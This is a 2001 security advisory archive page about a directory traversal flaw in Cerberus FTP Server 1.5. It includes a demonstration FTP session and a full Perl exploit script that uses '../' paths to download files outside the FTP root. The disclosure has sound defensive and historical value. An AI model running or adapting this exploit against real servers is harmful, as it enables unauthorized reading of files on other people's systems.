Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Cerberus FTP Server Directory Traversal Flaw Lets Remote Users View Any File on the Server's Drive
|
|
SecurityTracker Alert ID: 1002230 |
|
SecurityTracker URL: http://securitytracker.com/id/1002230
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Aug 22 2001
|
Impact:
Disclosure of system information, Disclosure of user information
|
Exploit Included: Yes
|
Version(s): 1.5
|
Description:
A vulnerability was reported in the Cerberus FTP Server that allows remote users to traverse the directory and read files located outside of the FTP document directory.
A remote user with FTP server access, including anonymous access, can use the change command and specify a valid directory followed by '../' to change to the higher level directory. Multiple '../' strings can be appended if necessary.
A demonstration exploit transcript was provided:
220-Welcome to Cerberus FTP Server
220 Created by Grant Averett
Benutzer (192.168.0.2:(none)): anonymous
230 User anonymous logged in
ftp> ls
200 Port command received
150 Opening data connection
delphiown
226 Transfer complete
FTP: 11 Bytes empfangen in 0,00Sekunden 11000,00KB/s
ftp> cd delphiown/../../
250 Change directory ok
ftp> ls
200 Port command received
150 Opening data connection
A demonstration exploit script is included in the Source Message.
The vendor has reportedly been notified but with no response.
|
Impact:
A remote user with FTP server access, including anonymous access, can view any file located on the drive that the server is installed on.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.greenepa.net/~averett/cerberus.htm (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 21 Aug 2001 00:41:41 -0500
Subject: [NT] Cerberus FTP Server Directory Traversal
|
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Cerberus FTP Server Directory Traversal
------------------------------------------------------------------------
SUMMARY
<http://www.greenepa.net/~averett/cerberus.htm> Cerberus FTP Server is a
multithreaded Windows FTP server designed to use little CPU and memory. A
security vulnerability in the product allows attackers to traverse outside
the bounding FTP root directory.
DETAILS
Vulnerable systems:
Cerberus FTP Server version 1.5
Example:
220-Welcome to Cerberus FTP Server
220 Created by Grant Averett
Benutzer (192.168.0.2:(none)): anonymous
230 User anonymous logged in
ftp> ls
200 Port command received
150 Opening data connection
delphiown
226 Transfer complete
FTP: 11 Bytes empfangen in 0,00Sekunden 11000,00KB/s
ftp> cd delphiown/../../
250 Change directory ok
ftp> ls
200 Port command received
150 Opening data connection
As you can see, you need at least one valid directory, to break out of the
ftp root-dir.
Solution:
Author has been contacted on the 12th of August, no response was received.
Exploit:
#!usr/bin/perl
# this exploit will download files from
# the ftp server, even if they are outside of
# root directory.
use Net::FTP;
$loginname='anonymous';
$passwd='';
$dirname= '';
print "\n-----------------------------------\n";
print "Cerberus Ftp server 1.5\n";
print "directory traversal exploit\n";
print "by Christoph Heindl\n";
print "se00020\@fhs-hagenberg.ac.at\n";
print "-----------------------------------\n";
if (!$ARGV[0] || !$ARGV[1]){
print "usage: cftpsploit.pl <host> <dir/file>\n";
print " example: cftpsploit.pl 192.168.0.2 boot.ini\n";
print " will download boot.ini from c:\ if server is running on drive
c\n";
exit;
}
$ipaddr=$ARGV[0];
$ftp=Net::FTP->new($ipaddr, Timeout=>5);
if (!$ftp->login($loginname, $passwd)){
die "\ncould not login\n";
}
print "searching for directory...";
foreach $dir ($ftp->ls()) {
next unless ($ftp->cwd($dir));
$dirname=$dir;
$ftp->cwd('..');
}
if ($dirname eq '') {
print "failed\n";
print "trying to create pseudo dir...";
$mkd=$ftp->mkdir('pseudo');
if ($mkd) {
print "ok\n";
$dirname="pseudo";
}
else {
print "failed\n";
print "exiting...\n";
exit(0);
}
}
print "found dir\n";
print "dirname is: ".$dirname."\n";
$pathtofile=$dirname."/../../";
print "getting file...\n";
$ftp->get($pathtofile.$ARGV[1]);
$ftp->quit;
print "all done. file located in current dir";
ADDITIONAL INFORMATION
The information has been provided by
<mailto:Christoph.Heindl@fhs-hagenberg.ac.at> Christoph.Heindl.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business
profits or special damages.
|
|
Go to the Top of This SecurityTracker Archive Page
|